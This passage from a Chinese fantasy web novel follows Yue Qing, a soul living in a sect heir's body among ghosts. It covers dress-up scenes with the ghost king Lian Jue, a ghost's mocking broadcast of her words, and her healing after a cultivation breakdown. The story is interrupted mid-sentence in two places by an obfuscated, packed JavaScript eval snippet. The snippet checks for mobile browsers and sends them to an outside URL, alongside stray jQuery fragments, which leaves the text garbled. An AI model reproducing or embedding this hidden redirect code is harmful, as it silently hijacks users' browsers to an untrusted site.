“你年纪比我小,称呼我一声姐就行了,”秋苑笑了笑,热情地招呼她道:“我今天下山去采买了些东西,特意给你带了些衣裳首饰,你快看看,可合心意。”
月情接过她送来的裙子,翻来看看,质地柔软舒适,针脚绵密,花样有淡有繁,稍作比划,与她的身形相差不大,是用了心的。
秋苑笑说:“我最喜欢帮人打扮,以往见云山能揪住的只有他们几个男鬼,今儿你来了,我才能同你说说这胭脂水粉衣裙首饰。”
“谢谢秋苑姐,”月情闻言一笑,下意识拿了套素雅的衣裙,秋苑却诶了声,按住她的手,挑了个水粉色的裙子,道:“你这个年纪娇嫩活泼,该穿得鲜艳明媚。”
她顿了顿,这才想起来自己如今是少宗主,这具身体才十六岁,的确年轻娇嫩,与这水粉色的裙子格外相配。
“秋苑姐说得是,”月情听劝,笑了笑,被秋苑推去偏室换衣裳。
出来时,秋苑心情甚好,哼着小曲,翻出了一套绛色的袍子。
她眉眼微弯,而脸上那朵瑰丽美艳的蔷薇花,因此愈发显眼勾人,“这件衣裳,大王穿着必然俊美无双。”
月情看着她的笑颜,微微失神,想起了在殿里第一次见连绝,他穿得那件暗紫色的华贵衣袍。
她状若随意地问:“秋苑姐,大王的衣裳都是由你置办的吗?”
“是啊,虽然鬼不需要换衣服,”秋苑回头看她,道:“不过我就好这一口,但小鬼们魂魄太弱,由不得我折腾,所以只能对他们几个下手了。”
她顺势和她抱怨,“我就这一个爱好,结果个个避我不及。尤其是蜻蜓那王八蛋,居然张口就说肚子疼,鬼会肚子疼?我看他是过得太清闲太自在,故意给我找不痛快。”
月情听此莞尔一笑,她偏头道:“秋苑姐别生气,我就很喜欢好看的衣裙首饰,你以后只管差人来寻我。”
秋苑听到她这么说,眸光发亮,上下将她打量一番,啧啧称奇。
眼前这少女,虽是年纪轻轻,但出落得已亭亭玉立,一张脸生得清丽无双,而最令人惊艳的还是那双眼睛,无比温柔通透,瞧着便让人觉得安宁。
她弯眼笑道:“真好看,你先坐着,我给你戴簪子来。”
秋苑有一个巨大的妆奁盒,里面摆满了女子的钗环首饰,都是上好的成色,随意看过去,都价值千金万两。
而她在其中精挑细选,给月情梳妆打扮。
从镜中看,她的眉眼妖娆但不邪性,那朵蔷薇花纹到眼下,只觉风情不觉媚俗,倒的确像传闻中充斥着妖异与神秘的花妖。
尚触到月情温软的面庞,秋苑毫无温度的手停在空中,见月情看来,她无声笑了下,说:“我第一次初见你就觉得眼善,与我女儿童童生得很像,倘若有机会,必引你们见一面。”
月情观她形貌年轻,看起来比少宗主大不到哪里去,不知是何时有了女儿,又是何时离世为鬼。
但她没有开口问。
她只抬眉向秋苑轻轻笑了笑,温声应,“好。”
这时候,蜻蜓从门外探出一个头,秋苑立即展开五指,指上铃音大作,蜻蜓从门外滚进来,讨饶一笑,“秋苑姐,我这不是来了。”
秋苑扫了他一眼,冷笑道:“怎么,肚子不痛了?”
蜻蜓正色道:“刚才是很痛,痛得站不起身,还好大王替我看了看,”他说着将身后的连绝迎出来,语气郑重,“大王一出手,就知有没有,我一下就好了,立马赶了过来,生怕耽搁了你的事。”
连绝不带感情地扫了他一眼,蜻蜓嘿嘿嘿地笑了几声。
秋苑冷道:“巧言令色。”
蜻蜓连忙躲到连绝身后去,一边赔笑,一边推着他往里走,“换衣服,换衣服,我和大王进去换衣服。”
月情偏头往那边看,连绝神情平静,对手下很是纵容,无意中对上她的视线,见她友善的微笑,也回礼似的向她点了下头,算是打了个招呼。
他们进去内室,秋苑又兴致勃勃地给月情编发,她耐心十足,神色认真,编到一半却又拆了,思考片刻后重新给月情做了小髻挑了两朵毛茸茸的绒花插上,眯眼笑问:“可不可爱?”
少宗主第一个凑过来,看到自己被打扮得像个几岁的小娃娃,愣了一下,而后不满道:“什么啊,蠢死了。”
月情抚了下双髻,微微动了动,两个小鬟就跟着晃了晃,她不由失笑。
若是她本人,的确很幼稚,但少宗主的脸十分青雉,这样打扮,倒还真看出几分童趣与可爱。
月情弯唇道:“挺可爱的。”
说来不知是有缘还是无缘,月情与少宗主明明是两个全无瓜葛的人,可两人不仅同一姓氏,相貌上都有五六分相似。
有些时候,她都会以为,自己凭空多了个妹妹。
秋苑闻言微笑,看着她的眼神就如看着童童一般柔和,弯唇道:“你喜欢就好。”
换完衣服从内室里出来的蜻蜓乍然听到她无比温柔的语气,惊了一下,瞪大双眼不可置信,“大王,我是不是听错了,这是秋苑?”
“我今天心情好,不和你计较,”秋苑白了他一眼,扔了把扇子过去,蜻蜓连忙接住,他面相生得风流,持着才子扇,一摇,颇具纨绔公子相。
连绝则不必说,他身高腿长,相貌绝伦,平日里单穿件素衣都出挑,此刻华服锦袍加身,只会更显他的贵气与俊美。
只是他的长发全部披落在脑后,闲闲散散地束着,再配上他寡淡的神色,整个人大写的一个心不在焉。
没有半分的朝气与生机。
与记忆中扬眉大笑,神气活现的少年相去甚远。
月情在一旁瞧着,忽而想起来连绝以往都扎着高马尾,瞧着人精神,有劲头,而今他的长发却是披散着的。
她便主动道:“秋苑姐,我觉得大王扎个马尾,会显得有朝气些。”
“嗯……”秋苑欲言又止。
连绝的确长相俊美,身量也好,穿上什么样的衣裳都好看,简直是活脱脱的衣架子,养眼极了。
只是大王你是鬼王,不是千年尸王,不,人家僵尸好歹还会蹦蹦跳跳,至于连绝,那就是一根直挺挺的木头。
秋苑拒绝为木头服务。
她摆手道,“那你去替大王扎吧。”
月情愣住了,可秋苑不像开玩笑的。
她看向并不反驳的连绝,心里一时打鼓。
月情忍不住张望了一下,除了连绝淡着神色,其余的鬼都摆着一张看热闹不嫌事大的脸。
她闷住了,又忍不住想。
连绝又不是旁人,是她的小夫君,她紧张个什么。
如此想着,月情靠近过去,至他的身后。
镜中反射过来一双失焦无神的双目,她瞧了一眼,只寻常地束起他的长发。
除了发丝与冷硬的衣裳,月情没有碰到他寸许裸露在外的皮肤。
予他编小辫垂于脸侧时都小心翼翼,确认不会碰到他。
却在抬眼时微微失神。
连绝不知何时收回思绪,抬起眼睫看她——看她温柔小心的神情,观她唇角微微上扬的弧度,难得的,平日里总不起波澜的双目中起了一丝困惑。
月情呼吸一滞,“闭眼。”
连绝停了一下,长而密的睫毛乖顺地合上。
月情在心里舒了口气,而后起身给他挑了一条彩绳编织的抹额,她摸到了上面坠着的银鱼,慢慢地替他戴在额头上。
一人一鬼间,甚至没有呼吸的动静声。
对比秋苑与蜻蜓那边,他们这里就显得十分安静。
少宗主都不由疑惑,在连绝身边转了转,看他安安静静地一动不动,小声说:“其实这不是鬼王,是披着鬼王皮的机关人吧。”
月情闻言勾了下唇,刚露出点声音,连绝就睁开了双目直白地看向她,眼中的困惑更甚。
他道:“月情?”
难得他主动叫自己的名字,月情耐心十足,温声询问道:“怎么了?”
连绝看着她,问:“我们以前见过?”
月情停顿一瞬,缠着配环流苏的手指微微蜷了蜷,她其实已经十分地收敛,照例是一张温和笑脸,待他与旁人尽量无异。
毕竟少宗主一直在旁边看着他俩。
但他竟然如此敏锐。
那双灰蒙蒙的眼睛明明暗淡无光,只是平静地注视
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950849|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着她,却似乎已经将她看透。
月情并不敛去自己眼中的笑意,停顿一二,似是而非地说:“或许在梦里曾见过。”
连绝不是刨根问底之人,见她不想说,也不多问,转目继续看向镜中的自己,默默无言地失神,不知在想些什么。
另一边,秋苑在给蜻蜓涂胭脂,蜻蜓誓死不从,道:“我堂堂七尺男儿,怎么能涂这种东西?”
秋苑一巴掌拍在他脸上,“谁让你是鬼,面无血色,我现在把你领出去,别人都会觉得你是个花花公子。”
蜻蜓沉声道:“那就花花公子。”
秋苑冷笑,重音,“不仅花还虚。”
蜻蜓顿时妥协,“……那还是涂胭脂吧。”
终于折腾着收拾好,秋苑满意点头,道:“风流倜傥,潇洒不羁,不错不错。”
再侧目望向这边,连绝与月情一站一坐,侧影相互交映,竟有种说不出来的氛围。
秋苑不由愣了一下,而后莞尔一笑,适时道:“大王更胜一筹。”
月情闻言笑了笑,却见连绝仿若未闻,又抿紧了唇角。
少宗主在一旁观察,看她忽喜忽忧,心里生疑,道:“你不会见鬼王长了张好看的脸,倒戈了吧?”
月情愣住了,一时间回不了话,毕竟这张脸迷惑了她整整三年。
少宗主见此,瞪了她一眼,而后看向连绝,振声斥道:“他长得还没我大伯好看呢!”
月情:“。”
少女,仇恨已经蒙蔽了你的双眼。
正此时,殿外传来声响。
原是风宁回来了,他受了伤,一进来扑倒在地,全身碎了一地,那颗头咕噜咕噜地滚了出来,发出清脆的响声。
大怒的少宗主惊叫一声,月情也一惊,手上的玉佩“啪”地声摔落在地。
其余小鬼见怪不怪,有条不紊地把他的碎肢捡了起来拼上,手法娴熟,明显不是第一次。
秋苑则安抚她道:“风宁生前炼丹把自己炸死了,所以他的身体是碎的,别怕,这很正常。”
这真的正常吗?!
原以为少宗主已经够奇葩了,没想到风宁更勇猛,自己把自己给炸死。
修仙界还真是不养闲人。
风宁自己拼好了右手,完全不介意自己碎了一地的事实,嘻嘻笑道:“今晚我又看了好大一出笑话。”
蜻蜓纳闷道:“你怎么每天都能看笑话?”
“因为修仙界全是一群大傻子,”风宁哈哈哈道:“就在方才,月如龙问我少宗主的去向,我说少宗主要当我们大王的小厨娘,他气得半死,要取我性命,嘻嘻嘻,被我坑到沟里去了。”
少宗主听此,又恼又气,道:“可恶,这只癫鬼,竟敢如此作弄我大伯!我要杀了他!”
月情:“……”
一边的蜻蜓干笑了几声,不动声色地看了眼立在一边的月情,暗示风宁净月宗的人就在这里,不要太嚣张。
风宁不解,“你眼睛抽筋了?”
“收着点,殿上有外人,”蜻蜓压着嘴巴提醒他,声音嘲哳难听,不仔细分辨,还听不清。
风宁歪头:“你嗓子也坏了?”
蜻蜓:“……”
为了防止风宁血溅当场,蜻蜓忍了忍,拿着扇子朝一边的月情指去,风宁顺着他的方向一瞧,这才发现她也在场。
他顿时笑起来,微微眯眼,并不叫少宗主,而是故意一字一顿地挑衅,“小——厨——娘——”
挑衅地很有实力,建议和隔壁小黄一较高下。
他愈发地不怀好意,绞尽脑汁,嚣张地冷笑,再度提高声音:“小!厨!娘!”
月情没说话,只跟看傻子一样看着他。
风宁咬牙,脸色一点点变差。
“秋苑,”安静在一旁的连绝突然出声,冷淡道:“我记得你给风宁准备了许多套校服。”
秋苑愣了一下,而后扬唇一笑说了句是,拍了拍手掌,一群机关人不知从哪里冒出来,领了一堆校服,全是玉蟾宫仿品,将风宁团团围住。
他怔了一瞬,眼中立即透出喜色,不再与她争锋相对。
月情微微敛目,透过镜子,恰好对上他冷淡的双目,她不由勾唇一笑,连绝则停顿片刻,又静默无声地游离了视线。
“这是玉蟾宫春季款,与桃花相伴,金中带粉,还可以增加桃花运。”秋苑正在给风宁展示,起先拿了一套浅粉色的校服,风宁认认真真听着,喜道:“好。”
秋苑再展开另一套,金蟾踩在荷叶上乘凉,她道:“夏季短款,布料采用冰蝉丝,保你穿上两袖清风。”
风宁接过,点头称赞,“不错。”
秋苑再展开另外几套,令众人眼花缭乱,只看到满眼的金蟾。
这些校服有红橙黄绿青蓝紫彩虹系列,有朱雀玄武青龙白虎四大神兽系列,甚至有各大宗门联名款,以及鬼王连绝签名款。
无论哪款,风宁都很喜欢,一件件收好,宝贝不已。
最后一款,秋苑展开一套黄金色的校服,上面绣满了吐着铜钱的金蟾,密密麻麻绵绵密密,抖一抖,还闪着金光。
她振声道:“金蟾吐钱,吉兆,保你万事如意心想事成,甫一出门,即是万千人海中最瞩目的那一个。”
月情离她最近,差点被闪瞎眼睛,再看风宁,原本欢喜不已的鬼此刻沉着面色,异常凝重,她想,哪怕精神不好如风宁,看来也不会欣然接受了。
正想着,风宁突然咧开了嘴,惊叹道:“哇——”
月情:“?”
他欢喜不已,一把扑过来,抱着那件衣服高兴地转圈圈,大声宣布道:“我以后要每天穿它,封它为我的战袍!!!”
月情:“。”
她还真是高估他了。
11. 倾仙月(十一)
风宁那件衣服太招摇,连一向平静淡然不理会他们的连绝都深深蹙了眉,抬手遮住了眼睛,不知是被那反光的铜钱晃到了眼,还是因这衣服太过奇特而感到不适。
他微眯眼,冷声令风宁扔掉。
风宁自然不愿,深切地问:“大王,你难道忍心看见我失落难过吗?”
连绝十分冷漠:“我不想看见你。”
风宁:“……”
风宁:“嘤。”
月情见此不由轻笑。
这见云山,也并不像传闻中那样可怖。
这会儿见风宁吃瘪,转眼她又看到蜻蜓躲在扇子后边偷笑。
秋苑更不必说,还在那儿煽风点火,出坏招道:“既然大王不想见你,那风宁你便将头反着戴,如此是无论如何也见不着你那张脸了。”
风宁还真听进去了,手动将自己的头给扭了过去,于是只留个后脑勺给众人,高兴地向着连绝卖殷勤道:“大王,这样你就见不着我了。”
连绝:“………”
他的表情仍旧是木木的,却不知是一贯如此,还是被风宁这癫鬼给气的。
最后,在几只鬼嬉笑玩闹间,风宁百般哀求纠缠之下,连绝还是松口让他把那件战袍给留了下来,但不许再拿出来穿,风宁自然是无有不可,生怕他反口似的,抱着战袍溜了。
闹了这一大通,见云山难得安静了几天。
没了风宁这个活宝,这地方与寻常的深山老林也没什么区别,不过是树黑了点,林子阴气重了点,碰到的鬼怪多了点。
月情都快习惯了。
而一直未露面的重影则有了消息。
作为少宗主口中传闻里连绝最信任的护法,月情对这只鬼免不了好奇。
而今他回来,并未在殿上露面,而是直接往深处去了。
也是因此,月情才晓得极阴殿后头黑压压的林子里有一条小径,里面藏着一座偌大的庄园。
看着像连绝的私人府邸,总之旁人不允许轻易进入。
月情只能远远地观望一眼,进去不得,心里酸溜溜地回梨花苑。
回去时路过殿前的石台,看到原本没踪影的风宁突然冒出,还带了一群小鬼在那儿敲锣打鼓,发癫一样狂笑,简直是隔着二里远都想塞住他的嘴。
蜻蜓也在一旁,见他突然鼓弄起乐器,暗想这不像风宁的画风啊,于是疑惑道:“你在做什么?”
风宁挑眉,“月如龙不信少宗主是真心实意要留下,我要让他听听看,是不是真心实意。”
月情听到少宗主三个字微一抬眉,原本要抬步绕走的腿又收了回去,往那地方走近了些。
风宁则兴致勃勃地令小鬼们敲出节奏,而他手里握着一个圆玉盘,像镜子,盈盈发着光,不知在做什么。
少宗主纳闷道:“行云通天镜?”
月情好奇,“行云通天镜是什么法宝?”
少宗主说:“一个十分无聊的法宝。有灵力即可以使用,可以传言千里,可以化相千里,还可以众人围观,广发议论。”
月情道:“无聊吗?听起来挺有意思的。”
少宗主一言难尽,“没什么意思,反正我不怎么喜欢。”
她们俩人说着,风宁手中圆玉盘晃了一下,他扬唇一笑,对蜻蜓道:“好了,你快瞧一眼。”
蜻蜓也拿出一枚玉盘,很快看到风宁发布的通达四海之音,刷出一看,即刻响起月情的声音,并着敲锣打鼓的声音响彻云霄。
听到自己的声音,月情懵了一瞬。
再听到风宁那不通乐理的曲子,以及小鬼们哭丧一样的配乐,她不由皱眉,而下一秒,则瞪大了双眼——
等等,这不是她第一天被风宁抓过来后,在大殿上胡编乱造表忠心的话吗?
当时说那番话时她明明十分诚恳,可以说不知内情的人听了只会生出恻隐之心。
但风宁这段魔音,再配上小鬼们的破锣破唢呐,噼里啪啦地,还有他迷之断点加重复,简直把她一个诚心诚意温柔善良的柔弱少女搞成了一个被爱情迷失双眼,手持两把菜刀在锅里跳舞的疯婆子。
疯婆子本人,“………”
少宗主听到这里同样傻眼,好半晌才回过神,顿时气到爆炸,“他什么时候录下来的,我要杀了他!”
蜻蜓亦瞪大了双眼,看看站在一边的月情,默默离风宁远了些,无语道:“你小心净月宗举宗来灭你。”
风宁嘻嘻道:“我怕他不成?”
不久,风宁发布的通达四海之音很快在行云通天镜上传疯了。
月情向蜻蜓借了镜子来看,一水溜儿的震惊,少宗主恼怒不已,指着一串人名,道:“靠,这几个不都传坐化飞升了吗?!”
而净月宗那边果然有大反响,外门弟子内门弟子无一不惊,反应最大的月如龙则在行云通天镜之内叫嚣风宁竖子小儿,必取他性命,令他魂消体亡!
风宁观之呵呵冷笑,“我还有第二版本。”
月情:给你做饭是我毕生的梦想!
月如龙(咬牙切齿):你、你你你你你找死!
月情:大、大大大大王,我都是为了引起你的注意!
月如龙(咬牙切齿):你、你你你你你找死!
月情:还好,还好,风宁把我捉过来,否、否否否则我都见不到你!
风宁:嘻嘻。
月如龙(咬牙切齿):你、你你你你你找死!
月情满脸黑线。
难怪修仙界恼怒风宁,这癫鬼,真不是一般人能待见的。
**
净月宗主峰的峰头上,肃静的大殿里,传来一道十分不合时宜的声音。
月如龙(咬牙切齿):你、你你你你你找死!
……
各峰峰主竭力忍住,才在这寂静严肃的氛围下没笑出声。
而主位上,月如龙面沉如水。
“啪——”他突然发难,一举砸了行云通天镜,咬牙切齿,“那天夜里令风宁那厮侥幸逃脱,下次,我必要将他碎尸万段,挫骨扬灰!”
几位峰主看他生气的样,忙不迭把行云通天镜往里收收。
座下一身姿袅娜的女子挑起眼皮来,摇着团扇,凝眉道:“宗主,真是晚晚自己要留下的?”
“你难道还不了解月晚那性子?”另一边的韩若歌冷道,“她必然是想着留在连绝身边寻找他的弱点,伺机而动。”
月如龙喝了一大口茶,沉下眼睛,斥道:“简直是胡闹!”
他气得心绞痛,恼怒不已,好半晌才冷静下来,道:“风宁行事张扬,为人疯癫。他必然会再次出山挑衅修仙界,这次举净月宗之力,必须活擒他,用以和鬼王交换晚晚。”
话落,坐下诸位立即响应,纷纷道:“是。”
……
风宁唯恐天下不乱,在行云通天镜里点着月如龙追问,嬉笑,“可信否?”
月如龙不回声,风宁更觉得他理亏,顿时抚掌大笑,“我让他不信,让他诋毁我,哈哈哈哈,这便让他清楚明了,看少宗主是否自愿!”
蜻蜓听他说话,眉心突突跳。
那净月宗少宗主是出了名的脾气冷硬,性子急躁,见了这一出,还不拔剑要同风宁拼命。
他默默无声地往后拉扯,愈退愈远,只求赶紧消失,以免被殃及池鱼。
“蜻蜓护法,”月情向他靠过来。
蜻蜓连忙拦住她,总感觉她下一秒就要暴怒拔剑杀鬼。
他低咳一声,立刻表明态度——睁一只眼闭一只眼地看向她,“无论你对风宁做什么,我都不会有意见。”
月情把行云通天镜还给他,好笑道:“蜻蜓护法为何要这样看我?我可是一个斯文有礼的人,绝不轻易动手。”
她想了想后,又说:“平日里也是我看走了眼,原来风宁护法还有这等才能,着实惊奇。”
“那是,本护法会的东西多着呢,”风宁自夸一句,接着哈哈哈大笑道:“算你有眼光。”
蜻蜓呆在原地,看他俩其乐融融的氛围,差点以为是自己不正常。
他十分艰难地说:“你们高兴就好。”
少宗主同样不能理解,瞪大双眼,在旁斥道:“你夸他做什么,他在诋毁我!我的一世英名,全被这只癫鬼给毁了!”
她一脸怒容,气愤不已,见月情眼瞳分明丝毫寻不见与她同仇敌忾的怒气,不由重重地哼了声。
“的确在我的意料之外,”月情看着风宁得意的神色,淡淡而笑,评价道:“此曲听来新奇,但着实太聒噪,没有一丝一毫的雅韵,只能算作下下品。”
此话一出,石台一静。
边上几个小鬼捧着锣鼓,嘴巴张大了,啪地声,东西七零八落地砸在了地上。
发出了巨大的声响。
风宁的笑脸“唰”地声消失得无影无踪,脸上唯余阴冷的表情,“欻”地下拔出了凝光,直指月情。
他冷哼一声,语气邪佞,“你敢说我是下下品?!”
月情从容不变,语气温柔平淡,“并非我一人如此想,不信你问蜻蜓护法。”
蜻蜓脚底抹油,正想溜,走到一半突然被点名,乍然对上风宁阴狠的视线,他一下没反应过来,张口结舌,“呃……”
风宁顿时气炸了,把手上的剑一摔,一脚踢飞破锣,“蜻蜓,连你也觉着我品味低下?!”
蜻蜓两眼直发黑。
这关他什么事啊!
月情趁着他俩不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950850|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
注意,转身回去梨花苑。
路上,少宗主还在生闷气。
月情看了她一眼,“少宗主,你岂不是糊涂了?”
少宗主愣了一下,绷着脸道:“我怎么了?”
她道:“风宁是只不要脸的癫鬼,你可听说,人不要脸天下无敌,与他置气,只白白伤了自己。”
少宗主噎了一下,但仍旧郁闷,“你当然觉得没什么,丢脸的人又不是你!况且,况且……整个修仙界都知道我是个疯婆子了!”
月情道:“我不在意是因我本就是个非议众多之人,于是见了这样的事,明知丢脸至极,却也不放在心上。”
听到她这么说,少宗主愣了一下,再见月情,这时细细地看,才发现她的平静之下藏着幽光,甫一触及,竟像是暗火涌上,灼得少宗主眉心一蹙。
不过仅仅一瞬。
月情又笑了,仍旧是之前那般温和的模样,没有半分异状,贴心与她道:“是些说来极其不愉快的事,我就不与少宗主多提了。”
少宗主见她不想说哼了声,又凶巴巴地道:“我才不会白白受气!”
月情不由警惕地看向她——少宗主的主意,不会是让她吊死在风宁身前,吓死风宁吧。
少宗主思索半晌,下定决心道:“我现在传授你净月秘法,你好好修炼,韬光养晦,等修炼至化羽,直接劈死风宁。”
月情松了一口气,不过意外之余,还有几分欣慰。
少宗主终于不再纠结连绝一只鬼了。
她点了点头,顺毛捋,“没问题。”
少宗主让她给自己下心誓,慎重道:“这秘法兹事体大,是我净月宗立宗之本,本不能教授给你,但如今你我是为一体,我们也互相答应过要互帮互助,所以,我相信你,请你不要辜负我。”
她一向莽撞冲动,难得谨慎一次,月情不由点了点头,淡然一笑。
“口头上的话我也不说,你只需要告诉我如何下心誓,我自然不会违反。”
少宗主看她良久,见她面色平静从容,低低呼出一口气,“好。”
两人达成协议,少宗主便开始传授她秘法。
这具身体,本就习秘法良久,再次运转,如鱼得水,灵力充斥其中,十分顺畅。
眼下天还没黑,外面没有小鬼走动,少宗主便在月情附近盯着,帮她护法。
待到黄昏之时,太阳西落,月亮东升,秘法吸取月华精粹,月情身上也附了一层灵光。
正这时,她突然神色凝重,额上渗汗。
少宗主发现不对,连忙回身过来,道:“徐徐图之,不要急躁。”
月情额上的冷汗一滴滴往下渗,整个人开始颤动,俨然是气息混乱的景象。
少宗主着急道:“月情,把惑乱的灵气逼出体外!”
话落,月情猛地吐出一口鲜血。
她捂住作痛的胸口,骤然想到第一天来时,身体也是这般痛,像有刀子在搅,背后不由渗出冷汗。
不好!
而这时候可不是在净月宗,无人能救她……月情脑海中倏尔闪过连绝的脸,她几乎是想也不想,竭尽所有爆出一道灵光,直冲向穹顶。
灵光乍泄,直直冲撞到见云山护法结界,两相一撞,竟然是将这结界撼动一分,微微一震,一时之间,漫山遍野的哗然之声,众小鬼纷纷惊疑。
重影霍然起身,道:“是那少宗主。”
连绝亦看过去,微微凝眉。
重影已经听说了那少宗主有关之事,看向连绝,紧要道:“大王,那少宗主恨你入骨,须尽早除之。”
连绝却道:“不是一个人。”
重影不知他意,疑惑不解,连绝沉默少许而后道:“请水云子先生上山。”
重影一怔,对上他漆黑双目,停顿一刻,抱拳道:“是。”
他下山之际,连绝则寻至梨花苑中,轻推开门,月情正靠在石凳上,口吐鲜血,勉强吐息运转。
“锁住灵脉。”
月情回转过头,连绝半隐于黑暗之中,无声无息地立于院门处,幽幽地看着她,这一刻,竟是恒如天地之长远,仿佛穿透过时间与空间,又回到了那偏安一隅的倾仙楼。
而下一刻,他就会满脸笑意地看过来,眼睛比夏夜的星辰还要明亮,狡黠问:“情娘,见到我惊不惊喜?”
——“不会吗?”
低而轻的声音打破了月情的幻想。
连绝还站在那里,但没有满脸笑意,眼底深处是黑而幽暗的沉重。
她眨了下眼睛,冰凉的湿意传过来。
月情无声地抿紧了唇,就这样看着他,想从他的神情中找到一丝一毫与记忆中那人的相似之处。
可是,没有。
12. 倾仙月(十二)
见她不动,连绝靠近过来,抬起手掌,隐隐可见一束光影,光影中绽放出一缕金色人影,轻轻吹拂,无数残光碎影随风而动,自她的眉心一路砖向丹田。
那些光芒,像羽毛,像呼吸,还似有生命,是温暖的,正在疗养她的经脉。
月情瞧着他藏在黑暗中冷峻的面容,难耐地呼吸了一下,“你……”
剩下的话被她咽了回去,因而对上那双灰蒙蒙的眼睛,语气里所有不自觉流露而出的委屈又全部忍住。
连绝微微敛眉,瞧着她倔强的神色,抿了抿唇,从之前见着月情伊始,他就觉得她看他的眼神不对劲,那眼神很熟悉却又很陌生,只是莫名地,让他感到几分不适,却又并非是讨厌。
说不清,道不明。
而今夜月明星稀,月光逐渐下落。
光与影的交织之中,他看见了她倔强的神色之下,藏起来的一滴滴晶莹的泪珠,如水晶,似琉璃。
他张了张唇,又哑声无言。
“大王,”外间传来声响,正是重影带着水云子来了。
连绝这时才从月情身上抽离回视线,月情再看他时,他脸上的表情已消失殆尽,仿佛方才所见只是一道幻象。
月情眨了下眼睛,湿润的水汽干涩了几分,她低低地吸了吸气,心中一动。
虽然很短,短到几乎只有一眨眼的瞬息。
但她还是捕捉到了。
方才连绝露出来的表情,无措而局促的神色,终于有了几分她记忆中少年的神采。
“……”
水云子背着药箱,目光越过来,看见月情时诧异道:“竟然是修士?”
重影沉默一瞬,在旁解释道:“她是净月宗少宗主月晚。”
“净月宗少宗主?”他看向一旁缄默不语的连绝,微微勾唇,“我还以为你们与修仙界不死不休。”
连绝扫了他一眼,水云子微笑,稍稍收敛了神色。
重影低声道:“治病救人,钱货两讫。”
这是让他少看少问,不要多生事端。
水云子微微眯眼,又懂事道:“是。”
月情的伤势已经被连绝止住,但五脏六腑已经是短时间内二次受创,哪怕这具身体再强悍,此刻也有些受不住了。
“年轻人,急功近利,”水云子看了她一眼,摇头,“不把命当命。”
急功近利?月情看他漫不经心地放下药箱,感觉他话中有话,“您的意思是……”
“你太过年轻了,”水云子道,“修仙界存在多年,而十六岁一步问天者唯你一个。”
月情明白了他的意思,哑声道:“所以,我不能再继续修炼?”
他的目光轻轻动了一下,微微一笑,随后点了点头。
待他洗干净手,又缓声道:“修炼之道顺应天道,违逆天道者,不进而退,退而无路,路毁而亡。”
逆天而行,则天诛地灭。
月情与少宗主皆皱紧了眉头。
半晌,少宗主道:“狗屁不通。”
月情没吭声,水云子的话有一定道理,但也只是一定。
她一直以为,天道者,人为也。
路是人走出来的,走得多了,才能称之为道。
而少宗主努力修炼无可挑错,更谈不上急功近利违逆天道。
至于为何会走火入魔——不是天意,那只剩下人为。
水云子潜心替她施针,又打开药箱抓药炼制,月情也一回生二回熟,感觉比上次恢复得更快了,不知是否有连绝出手的缘故。
她想起黑暗中他的眼神,微微失神。
末了,水云子又道:“你体内本就有旧伤,是以我多开了些补药,待我将这些药制成药丸并着一道吃下,半月即能好全。”
月情点头,缓缓道:“谢谢先生。”
水云子多看了她一眼,却没再多说什么,收拾药箱去找秋苑要钱。
他走后,梨花苑陷入寂静。
月情躺在床上,阖上眼眸,静静地恢复着力气。
少宗主守在床边,也没有说话。
不知过了多久,月情感觉自己有了几分力气,起身下床。
这时,少宗主才如梦初醒般惊了一下,“你去哪?”
月情抬起眼睛看了她一眼,“去找连绝。”
少宗主一愣,这时候再提起连绝却已经说不出之前咬牙切齿的恨意,只满脑子都想着方才那传闻中凶神恶煞的鬼王是如何在生死关头救助月情……
她欲言又止,心里极乱,伸手拦了下月情,却又僵着缩了回去,半晌都说不出话。
此时,夜至深而寒气重,月光如注而水波粼粼。
月情直接推门而出,沿着湖边行走,转目瞧见湖心亭里点了灯,猜是连绝,抬脚踏上了石桥。
重影正从里出来,看到她,步子停顿了一下。
月情也看他,重影这只鬼生得高壮,从面相上看十分憨厚老实,比蜻蜓和风宁二鬼看着稳重不少。
难怪连绝信任他。
一人一鬼互相打量,在黑暗中无声拉锯。
不久,双方互相点头示意,月情别过他,踏上湖心亭。
连绝正在擦拭一把弯弓。
那弓能看出很有些年头,但主人保养得极好,有常常上漆、换弦,虽然不是一把灵光闪闪品相非凡的宝弓,但也被小心呵护着。
月情站于他不远处,静静地看了一会儿,连绝自然也觉察到了她,想起方才她无声无息落泪时的景象,不自觉地抚了下弓弦。
虽然是月晚的脸,但眼睛是心灵的窗户,他还是看见了她藏在其中纯白的灵魂。
纯净的白,炫目般耀眼——
连绝放轻了手中的动作,心知她此番前来是有话要与他说,便安安静静地等着她开口。
待了半晌,却听见那清清淡淡的声音传过来,平静异常仿佛在说今夜星子是否明亮,“大王救命之恩,小女子无以为报,唯有以身相许。”
话落,连绝擦拭的手一顿,浑浑噩噩的少宗主一怔。
一残魂一鬼王纷纷盯向她。
“……”
月情看连绝微微睁大的双眸,忍俊不禁,心底那些委屈难过全部消散,甚至身体上的痛楚与不适都淡了。
她欢愉道:“我说玩笑话,大王勿见怪。”
紧张又莫名诡异的氛围瞬间被打破,一直心神不宁的少宗主顿时集中注意力,后怕地瞪向她,“这个玩笑一点也不好笑。”
月情咳嗽两声,而后又端正了神色,一双明亮的眼睛认真地瞧着他,十足地诚恳,重新道谢,“谢谢大王。”
